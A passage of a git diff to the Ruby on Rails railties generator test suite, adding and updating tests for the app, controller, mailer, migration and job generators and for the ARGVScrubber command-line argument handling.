     assert_file 'lib/test_file.rb', 'heres test data'
   end
 
-  def test_test_unit_is_removed_from_frameworks_if_skip_test_unit_is_given
-    run_generator [destination_root, "--skip-test-unit"]
+  def test_tests_are_removed_from_frameworks_if_skip_test_is_given
+    run_generator [destination_root, "--skip-test"]
     assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
   end
 
-  def test_no_active_record_or_test_unit_if_skips_given
-    run_generator [destination_root, "--skip-test-unit", "--skip-active-record"]
+  def test_no_active_record_or_tests_if_skips_given
+    run_generator [destination_root, "--skip-test", "--skip-active-record"]
     assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
     assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+    assert_file "config/application.rb", /\s+require\s+["']active_job\/railtie["']/
   end
 
   def test_new_hash_style
-    run_generator [destination_root]
+    run_generator
     assert_file "config/initializers/session_store.rb" do |file|
       assert_match(/config.session_store :cookie_store, key: '_.+_session'/, file)
     end
@@ -367,13 +465,142 @@ class AppGeneratorTest < Rails::Generators::TestCase
     assert_no_match(/run  bundle install/, output)
   end
 
-protected
+  def test_application_name_with_spaces
+    path = File.join(destination_root, "foo bar".shellescape)
+
+    # This also applies to MySQL apps but not with SQLite
+    run_generator [path, "-d", 'postgresql']
+
+    assert_file "foo bar/config/database.yml", /database: foo_bar_development/
+    assert_file "foo bar/config/initializers/session_store.rb", /key: '_foo_bar/
+  end
+
+  def test_web_console
+    run_generator
+    assert_gem 'web-console'
+  end
+
+  def test_web_console_with_dev_option
+    run_generator [destination_root, "--dev"]
+
+    assert_file "Gemfile" do |content|
+      assert_match(/gem 'web-console',\s+github: "rails\/web-console"/, content)
+      assert_no_match(/gem 'web-console', '~> 2.0'/, content)
+    end
+  end
+
+  def test_web_console_with_edge_option
+    run_generator [destination_root, "--edge"]
+
+    assert_file "Gemfile" do |content|
+      assert_match(/gem 'web-console',\s+github: "rails\/web-console"/, content)
+      assert_no_match(/gem 'web-console', '~> 2.0'/, content)
+    end
+  end
+
+  def test_spring
+    run_generator
+    assert_gem 'spring'
+  end
+
+  def test_spring_binstubs
+    jruby_skip "spring doesn't run on JRuby"
+    generator.stubs(:bundle_command).with('install')
+    generator.expects(:bundle_command).with('exec spring binstub --all').once
+    quietly { generator.invoke_all }
+  end
+
+  def test_spring_no_fork
+    jruby_skip "spring doesn't run on JRuby"
+    Process.stubs(:respond_to?).with(:fork).returns(false)
+    run_generator
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/spring/, content)
+    end
+  end
+
+  def test_skip_spring
+    run_generator [destination_root, "--skip-spring"]
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/spring/, content)
+    end
+  end
+
+  def test_generator_if_skip_turbolinks_is_given
+    run_generator [destination_root, "--skip-turbolinks"]
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/turbolinks/, content)
+    end
+    assert_file "app/views/layouts/application.html.erb" do |content|
+      assert_no_match(/data-turbolinks-track/, content)
+    end
+    assert_file "app/assets/javascripts/application.js" do |content|
+      assert_no_match(/turbolinks/, content)
+    end
+  end
+
+  def test_gitignore_when_sqlite3
+    run_generator
+
+    assert_file '.gitignore' do |content|
+      assert_match(/sqlite3/, content)
+    end
+  end
+
+  def test_gitignore_when_no_active_record
+    run_generator [destination_root, '--skip-active-record']
+
+    assert_file '.gitignore' do |content|
+      assert_no_match(/sqlite/i, content)
+    end
+  end
+
+  def test_gitignore_when_non_sqlite3_db
+    run_generator([destination_root, "-d", "mysql"])
+
+    assert_file '.gitignore' do |content|
+      assert_no_match(/sqlite/i, content)
+    end
+  end
+
+  def test_psych_gem
+    run_generator
+    gem_regex = /gem 'psych',\s+'~> 2.0',\s+platforms: :rbx/
+
+    assert_file "Gemfile" do |content|
+      if defined?(Rubinius)
+        assert_match(gem_regex, content)
+      else
+        assert_no_match(gem_regex, content)
+      end
+    end
+  end
+
+  def test_after_bundle_callback
+    path = 'http://example.org/rails_template'
+    template = %{ after_bundle { run 'echo ran after_bundle' } }
+    template.instance_eval "def read; self; end" # Make the string respond to read
+
+    generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
+
+    bundler_first = sequence('bundle, binstubs, after_bundle')
+    generator.expects(:bundle_command).with('install').once.in_sequence(bundler_first)
+    generator.expects(:bundle_command).with('exec spring binstub --all').in_sequence(bundler_first)
+    generator.expects(:run).with('echo ran after_bundle').in_sequence(bundler_first)
+
+    quietly { generator.invoke_all }
+  end
+
+  protected
 
   def action(*args, &block)
-    silence(:stdout) { generator.send(*args, &block) }
+    capture(:stdout) { generator.send(*args, &block) }
   end
 
   def assert_gem(gem)
-    assert_file "Gemfile", /^gem\s+["']#{gem}["']$/
+    assert_file "Gemfile", /^\s*gem\s+["']#{gem}["']$*/
   end
 end
diff --git a/railties/test/generators/argv_scrubber_test.rb b/railties/test/generators/argv_scrubber_test.rb
new file mode 100644
index 0000000000..31e07bc8da
--- /dev/null
+++ b/railties/test/generators/argv_scrubber_test.rb
@@ -0,0 +1,136 @@
+require 'active_support/test_case'
+require 'active_support/testing/autorun'
+require 'rails/generators/rails/app/app_generator'
+require 'tempfile'
+
+module Rails
+  module Generators
+    class ARGVScrubberTest < ActiveSupport::TestCase # :nodoc:
+      # Future people who read this... These tests are just to surround the
+      # current behavior of the ARGVScrubber, they do not mean that the class
+      # *must* act this way, I just want to prevent regressions.
+
+      def test_version
+        ['-v', '--version'].each do |str|
+          scrubber = ARGVScrubber.new [str]
+          output    = nil
+          exit_code = nil
+          scrubber.extend(Module.new {
+            define_method(:puts) { |string| output = string }
+            define_method(:exit) { |code| exit_code = code }
+          })
+          scrubber.prepare!
+          assert_equal "Rails #{Rails::VERSION::STRING}", output
+          assert_equal 0, exit_code
+        end
+      end
+
+      def test_default_help
+        argv = ['zomg', 'how', 'are', 'you']
+        scrubber = ARGVScrubber.new argv
+        args = scrubber.prepare!
+        assert_equal ['--help'] + argv.drop(1), args
+      end
+
+      def test_prepare_returns_args
+        scrubber = ARGVScrubber.new ['hi mom']
+        args = scrubber.prepare!
+        assert_equal '--help', args.first
+      end
+
+      def test_no_mutations
+        scrubber = ARGVScrubber.new ['hi mom'].freeze
+        args = scrubber.prepare!
+        assert_equal '--help', args.first
+      end
+
+      def test_new_command_no_rc
+        scrubber = Class.new(ARGVScrubber) {
+          def self.default_rc_file
+            File.join(Dir.tmpdir, 'whatever')
+          end
+        }.new ['new']
+        args = scrubber.prepare!
+        assert_equal [], args
+      end
+
+      def test_new_homedir_rc
+        file = Tempfile.new 'myrcfile'
+        file.puts '--hello-world'
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_singleton_method(:default_rc_file) do
+            file.path
+          end
+          define_method(:puts) { |msg| message = msg }
+        }.new ['new']
+        args = scrubber.prepare!
+        assert_equal ['--hello-world'], args
+        assert_match 'hello-world', message
+        assert_match file.path, message
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_rc_whitespace_separated
+        file = Tempfile.new 'myrcfile'
+        file.puts '--hello --world'
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| message = msg }
+        }.new ['new', "--rc=#{file.path}"]
+        args = scrubber.prepare!
+        assert_equal ['--hello', '--world'], args
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_new_rc_option
+        file = Tempfile.new 'myrcfile'
+        file.puts '--hello-world'
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| message = msg }
+        }.new ['new', "--rc=#{file.path}"]
+        args = scrubber.prepare!
+        assert_equal ['--hello-world'], args
+        assert_match 'hello-world', message
+        assert_match file.path, message
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_new_rc_option_and_custom_options
+        file = Tempfile.new 'myrcfile'
+        file.puts '--hello'
+        file.puts '--world'
+        file.flush
+
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| }
+        }.new ['new', 'tenderapp', '--love', "--rc=#{file.path}"]
+
+        args = scrubber.prepare!
+        assert_equal ["tenderapp", "--hello", "--world", "--love"], args
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_no_rc
+        scrubber = ARGVScrubber.new ['new', '--no-rc']
+        args = scrubber.prepare!
+        assert_equal [], args
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb
index 9c664a903a..a7d56dd352 100644
--- a/railties/test/generators/controller_generator_test.rb
+++ b/railties/test/generators/controller_generator_test.rb
@@ -28,13 +28,11 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
   def test_invokes_helper
     run_generator
     assert_file "app/helpers/account_helper.rb"
-    assert_file "test/helpers/account_helper_test.rb"
   end
 
   def test_does_not_invoke_helper_if_required
     run_generator ["account", "--skip-helper"]
     assert_no_file "app/helpers/account_helper.rb"
-    assert_no_file "test/helpers/account_helper_test.rb"
   end
 
   def test_invokes_assets
@@ -43,6 +41,12 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
     assert_file "app/assets/stylesheets/account.css"
   end
 
+  def test_does_not_invoke_assets_if_required
+    run_generator ["account", "--skip-assets"]
+    assert_no_file "app/assets/javascripts/account.js"
+    assert_no_file "app/assets/stylesheets/account.css"
+  end
+
   def test_invokes_default_test_framework
     run_generator
     assert_file "test/controllers/account_controller_test.rb"
@@ -61,7 +65,14 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
 
   def test_add_routes
     run_generator
-    assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+    assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
+  end
+
+  def test_skip_routes
+    run_generator ["account", "foo", "--skip-routes"]
+    assert_file "config/routes.rb" do |routes|
+      assert_no_match(/get 'account\/foo'/, routes)
+    end
   end
 
   def test_invokes_default_template_engine_even_with_no_action
@@ -85,6 +96,6 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
 
   def test_namespaced_routes_are_created_in_routes
     run_generator ["admin/dashboard", "index"]
-    assert_file "config/routes.rb", /namespace :admin do\n\s+get "dashboard\/index"\n/
+    assert_file "config/routes.rb", /namespace :admin do\n\s+get 'dashboard\/index'\n/
   end
 end
diff --git a/railties/test/generators/create_migration_test.rb b/railties/test/generators/create_migration_test.rb
new file mode 100644
index 0000000000..e16a77479a
--- /dev/null
+++ b/railties/test/generators/create_migration_test.rb
@@ -0,0 +1,134 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/migration/migration_generator'
+
+class CreateMigrationTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  class Migrator < Rails::Generators::MigrationGenerator
+    include Rails::Generators::Migration
+
+    def self.next_migration_number(dirname)
+      current_migration_number(dirname) + 1
+    end
+  end
+
+  tests Migrator
+
+  def default_destination_path
+    "db/migrate/create_articles.rb"
+  end
+
+  def create_migration(destination_path = default_destination_path, config = {}, generator_options = {}, &block)
+    migration_name = File.basename(destination_path, '.rb')
+    generator([migration_name], generator_options)
+    generator.set_migration_assigns!(destination_path)
+
+    dir, base = File.split(destination_path)
+    timestamped_destination_path = File.join(dir, ["%migration_number%", base].join('_'))
+
+    @migration = Rails::Generators::Actions::CreateMigration.new(generator, timestamped_destination_path, block || "contents", config)
+  end
+
+  def migration_exists!(*args)
+    @existing_migration = create_migration(*args)
+    invoke!
+    @generator = nil
+  end
+
+  def invoke!
+    capture(:stdout) { @migration.invoke! }
+  end
+
+  def revoke!
+    capture(:stdout) { @migration.revoke! }
+  end
+
+  def test_invoke
+    create_migration
+
+    assert_match(/create  db\/migrate\/1_create_articles.rb\n/, invoke!)
+    assert_file @migration.destination
+  end
+
+  def test_invoke_pretended
+    create_migration(default_destination_path, {}, { pretend: true })
+
+    assert_no_file @migration.destination
+  end
+
+  def test_invoke_when_exists
+    migration_exists!
+    create_migration
+
+    assert_equal @existing_migration.destination, @migration.existing_migration
+  end
+
+  def test_invoke_when_exists_identical
+    migration_exists!
+    create_migration
+
+    assert_match(/identical  db\/migrate\/1_create_articles.rb\n/, invoke!)
+    assert @migration.identical?
+  end
+
+  def test_invoke_when_exists_not_identical
+    migration_exists!
+    create_migration { "different content" }
+
+    assert_raise(Rails::Generators::Error) { invoke! }
+  end
+
+  def test_invoke_forced_when_exists_not_identical
+    dest = "db/migrate/migration.rb"
+    migration_exists!(dest)
+    create_migration(dest, force: true) { "different content" }
+
+    stdout = invoke!
+    assert_match(/remove  db\/migrate\/1_migration.rb\n/, stdout)
+    assert_match(/create  db\/migrate\/2_migration.rb\n/, stdout)
+    assert_file @migration.destination
+    assert_no_file @existing_migration.destination
+  end
+
+  def test_invoke_forced_pretended_when_exists_not_identical
+    migration_exists!
+    create_migration(default_destination_path, { force: true }, { pretend: true }) do
+      "different content"
+    end
+
+    stdout = invoke!
+    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, stdout)
+    assert_match(/create  db\/migrate\/2_create_articles.rb\n/, stdout)
+    assert_no_file @migration.destination
+  end
+
+  def test_invoke_skipped_when_exists_not_identical
+    migration_exists!
+    create_migration(default_destination_path, {}, { skip: true }) { "different content" }
+
+    assert_match(/skip  db\/migrate\/2_create_articles.rb\n/, invoke!)
+    assert_no_file @migration.destination
+  end
+
+  def test_revoke
+    migration_exists!
+    create_migration
+
+    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+    assert_no_file @existing_migration.destination
+  end
+
+  def test_revoke_pretended
+    migration_exists!
+    create_migration(default_destination_path, {}, { pretend: true })
+
+    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+    assert_file @existing_migration.destination
+  end
+
+  def test_revoke_when_no_exists
+    create_migration
+
+    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+  end
+end
diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb
index c48bc20899..ee7c009305 100644
--- a/railties/test/generators/generated_attribute_test.rb
+++ b/railties/test/generators/generated_attribute_test.rb
@@ -141,4 +141,12 @@ class GeneratedAttributeTest < Rails::Generators::TestCase
     assert_equal "post_id", create_generated_attribute('references', 'post').column_name
     assert_equal "post_id", create_generated_attribute('belongs_to', 'post').column_name
   end
+
+  def test_parse_required_attribute_with_index
+    att = Rails::Generators::GeneratedAttribute.parse("supplier:references{required}:index")
+    assert_equal "supplier", att.name
+    assert_equal :references, att.type
+    assert att.has_index?
+    assert att.required?
+  end
 end
diff --git a/railties/test/generators/generator_test.rb b/railties/test/generators/generator_test.rb
new file mode 100644
index 0000000000..7871399dd7
--- /dev/null
+++ b/railties/test/generators/generator_test.rb
@@ -0,0 +1,85 @@
+require 'active_support/test_case'
+require 'active_support/testing/autorun'
+require 'rails/generators/app_base'
+
+module Rails
+  module Generators
+    class GeneratorTest < ActiveSupport::TestCase
+      def make_builder_class
+        Class.new(AppBase) do
+          add_shared_options_for "application"
+
+          # include a module to get around thor's method_added hook
+          include(Module.new {
+            def gemfile_entries; super; end
+            def invoke_all; super; self; end
+            def add_gem_entry_filter; super; end
+            def gemfile_entry(*args); super; end
+          })
+        end
+      end
+
+      def test_construction
+        klass     = make_builder_class
+        assert klass.start(['new', 'blah'])
+      end
+
+      def test_add_gem
+        klass = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        generator.gemfile_entry 'tenderlove'
+        assert_includes generator.gemfile_entries.map(&:name), 'tenderlove'
+      end
+
+      def test_add_gem_with_version
+        klass = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        generator.gemfile_entry 'tenderlove', '2.0.0'
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == 'tenderlove' && gfe.version == '2.0.0'
+        }
+      end
+
+      def test_add_github_gem
+        klass = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        generator.gemfile_entry 'tenderlove', github: 'hello world'
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == 'tenderlove' && gfe.options[:github] == 'hello world'
+        }
+      end
+
+      def test_add_path_gem
+        klass = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        generator.gemfile_entry 'tenderlove', path: 'hello world'
+        assert generator.gemfile_entries.find { |gfe|
+          gfe.name == 'tenderlove' && gfe.options[:path] == 'hello world'
+        }
+      end
+
+      def test_filter
+        klass     = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        gems      = generator.gemfile_entries
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems.first.name
+        }
+        assert_equal gems.drop(1), generator.gemfile_entries
+      end
+
+      def test_two_filters
+        klass     = make_builder_class
+        generator = klass.start(['new', 'blah'])
+        gems      = generator.gemfile_entries
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems.first.name
+        }
+        generator.add_gem_entry_filter { |gem|
+          gem.name != gems[1].name
+        }
+        assert_equal gems.drop(2), generator.gemfile_entries
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
index 32a3d072c9..62ca0ecb4b 100644
--- a/railties/test/generators/generators_test_helper.rb
+++ b/railties/test/generators/generators_test_helper.rb
@@ -1,10 +1,15 @@
 require 'abstract_unit'
+require 'active_support/core_ext/module/remove_method'
+require 'active_support/testing/stream'
 require 'rails/generators'
 require 'rails/generators/test_case'
 
 module Rails
-  def self.root
-    @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+  class << self
+    remove_possible_method :root
+    def root
+      @root ||= Pathname.new(File.expand_path('../../fixtures', __FILE__))
+    end
   end
 end
 Rails.application.config.root = Rails.root
@@ -19,6 +24,8 @@ require 'action_dispatch'
 require 'action_view'
 
 module GeneratorsTestHelper
+  include ActiveSupport::Testing::Stream
+
   def self.included(base)
     base.class_eval do
       destination File.join(Rails.root, "tmp")
@@ -37,4 +44,5 @@ module GeneratorsTestHelper
     FileUtils.mkdir_p(destination)
     FileUtils.cp routes, destination
   end
+
 end
diff --git a/railties/test/generators/helper_generator_test.rb b/railties/test/generators/helper_generator_test.rb
index 81d4fcb129..add04f21a4 100644
--- a/railties/test/generators/helper_generator_test.rb
+++ b/railties/test/generators/helper_generator_test.rb
@@ -13,26 +13,11 @@ class HelperGeneratorTest < Rails::Generators::TestCase
     assert_file "app/helpers/admin_helper.rb", /module AdminHelper/
   end
 
-  def test_invokes_default_test_framework
-    run_generator
-    assert_file "test/helpers/admin_helper_test.rb", /class AdminHelperTest < ActionView::TestCase/
-  end
-
-  def test_logs_if_the_test_framework_cannot_be_found
-    content = run_generator ["admin", "--test-framework=rspec"]
-    assert_match(/rspec \[not found\]/, content)
-  end
-
   def test_check_class_collision
     content = capture(:stderr){ run_generator ["object"] }
     assert_match(/The name 'ObjectHelper' is either already used in your application or reserved/, content)
   end
 
-  def test_check_class_collision_on_tests
-    content = capture(:stderr){ run_generator ["another_object"] }
-    assert_match(/The name 'AnotherObjectHelperTest' is either already used in your application or reserved/, content)
-  end
-
   def test_namespaced_and_not_namespaced_helpers
     run_generator ["products"]
 
diff --git a/railties/test/generators/job_generator_test.rb b/railties/test/generators/job_generator_test.rb
new file mode 100644
index 0000000000..a9e0cea94f
--- /dev/null
+++ b/railties/test/generators/job_generator_test.rb
@@ -0,0 +1,29 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/job/job_generator'
+
+class JobGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def test_job_skeleton_is_created
+    run_generator ["refresh_counters"]
+    assert_file "app/jobs/refresh_counters_job.rb" do |job|
+      assert_match(/class RefreshCountersJob < ActiveJob::Base/, job)
+    end
+  end
+
+  def test_job_queue_param
+    run_generator ["refresh_counters", "--queue", "important"]
+    assert_file "app/jobs/refresh_counters_job.rb" do |job|
+      assert_match(/class RefreshCountersJob < ActiveJob::Base/, job)
+      assert_match(/queue_as :important/, job)
+    end
+  end
+
+  def test_job_namespace
+    run_generator ["admin/refresh_counters", "--queue", "admin"]
+    assert_file "app/jobs/admin/refresh_counters_job.rb" do |job|
+      assert_match(/class Admin::RefreshCountersJob < ActiveJob::Base/, job)
+      assert_match(/queue_as :admin/, job)
+    end
+  end
+end
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index 6b2351fc1a..febd2fd12e 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -1,57 +1,120 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/mailer/mailer_generator'
 
-
 class MailerGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
   arguments %w(notifier foo bar)
 
   def test_mailer_skeleton_is_created
     run_generator
-    assert_file "app/mailers/notifier.rb" do |mailer|
-      assert_match(/class Notifier < ActionMailer::Base/, mailer)
+    assert_file "app/mailers/notifier_mailer.rb" do |mailer|
+      assert_match(/class NotifierMailer < ApplicationMailer/, mailer)
+      assert_no_match(/default from: "from@example.com"/, mailer)
+      assert_no_match(/layout :mailer_notifier/, mailer)
+    end
+  end
+
+  def test_application_mailer_skeleton_is_created
+    run_generator
+    assert_file "app/mailers/application_mailer.rb" do |mailer|
+      assert_match(/class ApplicationMailer < ActionMailer::Base/, mailer)
       assert_match(/default from: "from@example.com"/, mailer)
+      assert_match(/layout 'mailer'/, mailer)
     end
   end
 
   def test_mailer_with_i18n_helper
     run_generator
-    assert_file "app/mailers/notifier.rb" do |mailer|
-      assert_match(/en\.notifier\.foo\.subject/, mailer)
-      assert_match(/en\.notifier\.bar\.subject/, mailer)
+    assert_file "app/mailers/notifier_mailer.rb" do |mailer|
+      assert_match(/en\.notifier_mailer\.foo\.subject/, mailer)
+      assert_match(/en\.notifier_mailer\.bar\.subject/, mailer)
     end
   end
 
   def test_check_class_collision
-    content = capture(:stderr){ run_generator ["object"] }
-    assert_match(/The name 'Object' is either already used in your application or reserved/, content)
+    Object.send :const_set, :NotifierMailer, Class.new
+    content = capture(:stderr){ run_generator }
+    assert_match(/The name 'NotifierMailer' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :NotifierMailer
   end
 
   def test_invokes_default_test_framework
     run_generator
-    assert_file "test/mailers/notifier_test.rb" do |test|
-      assert_match(/class NotifierTest < ActionMailer::TestCase/, test)
+    assert_file "test/mailers/notifier_mailer_test.rb" do |test|
+      assert_match(/class NotifierMailerTest < ActionMailer::TestCase/, test)
       assert_match(/test "foo"/, test)
       assert_match(/test "bar"/, test)
     end
+    assert_file "test/mailers/previews/notifier_mailer_preview.rb" do |preview|
+      assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/notifier/, preview)
+      assert_match(/class NotifierMailerPreview < ActionMailer::Preview/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/foo/, preview)
+      assert_instance_method :foo, preview do |foo|
+        assert_match(/NotifierMailer.foo/, foo)
+      end
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/bar/, preview)
+      assert_instance_method :bar, preview do |bar|
+        assert_match(/NotifierMailer.bar/, bar)
+      end
+    end
   end
 
-  def test_invokes_default_template_engine
+  def test_check_test_class_collision
+    Object.send :const_set, :NotifierMailerTest, Class.new
+    content = capture(:stderr){ run_generator }
+    assert_match(/The name 'NotifierMailerTest' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :NotifierMailerTest
+  end
+
+  def test_check_preview_class_collision
+    Object.send :const_set, :NotifierMailerPreview, Class.new
+    content = capture(:stderr){ run_generator }
+    assert_match(/The name 'NotifierMailerPreview' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :NotifierMailerPreview
+  end
+
+  def test_invokes_default_text_template_engine
     run_generator
     assert_file "app/views/notifier/foo.text.erb" do |view|
-      assert_match(%r(app/views/notifier/foo\.text\.erb), view)
+      assert_match(%r(\sapp/views/notifier/foo\.text\.erb), view)
       assert_match(/<%= @greeting %>/, view)
     end
 
     assert_file "app/views/notifier/bar.text.erb" do |view|
-      assert_match(%r(app/views/notifier/bar\.text\.erb), view)
+      assert_match(%r(\sapp/views/notifier/bar\.text\.erb), view)
       assert_match(/<%= @greeting %>/, view)
     end
+
+    assert_file "app/views/layouts/mailer.text.erb" do |view|
+      assert_match(/<%= yield %>/, view)
+    end
+  end
+
+  def test_invokes_default_html_template_engine
+    run_generator
+    assert_file "app/views/notifier/foo.html.erb" do |view|
+      assert_match(%r(\sapp/views/notifier/foo\.html\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+
+    assert_file "app/views/notifier/bar.html.erb" do |view|
+      assert_match(%r(\sapp/views/notifier/bar\.html\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+
+    assert_file "app/views/layouts/mailer.html.erb" do |view|
+      assert_match(%r{<html>\n  <body>\n    <%= yield %>\n  </body>\n</html>}, view)
+    end
   end
 
   def test_invokes_default_template_engine_even_with_no_action
     run_generator ["notifier"]
     assert_file "app/views/notifier"
+    assert_file "app/views/layouts/mailer.text.erb"
+    assert_file "app/views/layouts/mailer.html.erb"
   end
 
   def test_logs_if_the_template_engine_cannot_be_found
@@ -61,17 +124,23 @@ class MailerGeneratorTest < Rails::Generators::TestCase
 
   def test_mailer_with_namedspaced_mailer
     run_generator ["Farm::Animal", "moos"]
-    assert_file "app/mailers/farm/animal.rb" do |mailer|
-      assert_match(/class Farm::Animal < ActionMailer::Base/, mailer)
-      assert_match(/en\.farm\.animal\.moos\.subject/, mailer)
+    assert_file "app/mailers/farm/animal_mailer.rb" do |mailer|
+      assert_match(/class Farm::AnimalMailer < ApplicationMailer/, mailer)
+      assert_match(/en\.farm\.animal_mailer\.moos\.subject/, mailer)
+    end
+    assert_file "test/mailers/previews/farm/animal_mailer_preview.rb" do |preview|
+      assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal/, preview)
+      assert_match(/class Farm::AnimalMailerPreview < ActionMailer::Preview/, preview)
+      assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal\/moos/, preview)
     end
     assert_file "app/views/farm/animal/moos.text.erb"
+    assert_file "app/views/farm/animal/moos.html.erb"
   end
 
   def test_actions_are_turned_into_methods
     run_generator
 
-    assert_file "app/mailers/notifier.rb" do |mailer|
+    assert_file "app/mailers/notifier_mailer.rb" do |mailer|
       assert_instance_method :foo, mailer do |foo|
         assert_match(/mail to: "to@example.org"/, foo)
         assert_match(/@greeting = "Hi"/, foo)
@@ -83,4 +152,26 @@ class MailerGeneratorTest < Rails::Generators::TestCase
       end
     end
   end
+
+  def test_mailer_on_revoke
+    run_generator
+    run_generator ["notifier"], behavior: :revoke
+
+    assert_no_file "app/mailers/notifier.rb"
+    assert_no_file "app/views/notifier/foo.text.erb"
+    assert_no_file "app/views/notifier/bar.text.erb"
+    assert_no_file "app/views/notifier/foo.html.erb"
+    assert_no_file "app/views/notifier/bar.html.erb"
+
+    assert_file "app/mailers/application_mailer.rb"
+    assert_file "app/views/layouts/mailer.text.erb"
+    assert_file "app/views/layouts/mailer.html.erb"
+  end
+
+  def test_mailer_suffix_is_not_duplicated
+    run_generator ["notifier_mailer"]
+
+    assert_no_file "app/mailers/notifier_mailer_mailer.rb"
+    assert_file "app/mailers/notifier_mailer.rb"
+  end
 end
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
index d876597944..57bc220558 100644
--- a/railties/test/generators/migration_generator_test.rb
+++ b/railties/test/generators/migration_generator_test.rb
@@ -85,6 +85,19 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_remove_migration_with_references_removes_foreign_keys
+    migration = "remove_references_from_books"
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/remove_reference :books, :author,.*\sforeign_key: true/, change)
+        assert_match(/remove_reference :books, :distributor/, change) # sanity check
+        assert_no_match(/remove_reference :books, :distributor,.*\sforeign_key: true/, change)
+      end
+    end
+  end
+
   def test_add_migration_with_attributes_and_indices
     migration = "add_title_with_index_and_body_to_posts"
     run_generator [migration, "title:string:index", "body:text", "user_id:integer:uniq"]
@@ -159,6 +172,31 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_add_migration_with_required_references
+    migration = "add_references_to_books"
+    run_generator [migration, "author:belongs_to{required}", "distributor:references{polymorphic,required}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_reference :books, :author, index: true, null: false/, change)
+        assert_match(/add_reference :books, :distributor, polymorphic: true, index: true, null: false/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_references_adds_foreign_keys
+    migration = "add_references_to_books"
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_reference :books, :author,.*\sforeign_key: true/, change)
+        assert_match(/add_reference :books, :distributor/, change) # sanity check
+        assert_no_match(/add_reference :books, :distributor,.*\sforeign_key: true/, change)
+      end
+    end
+  end
+
   def test_create_join_table_migration
     migration = "add_media_join_table"
     run_generator [migration, "artist_id", "musics:uniq"]
@@ -193,8 +231,82 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
       end
     end
   end
-  
+
   def test_properly_identifies_usage_file
     assert generator_class.send(:usage_path)
   end
+
+  def test_migration_with_singular_table_name
+    with_singular_table_name do
+      migration = "add_title_body_to_post"
+      run_generator [migration, 'title:string']
+      assert_migration "db/migrate/#{migration}.rb" do |content|
+        assert_method :change, content do |change|
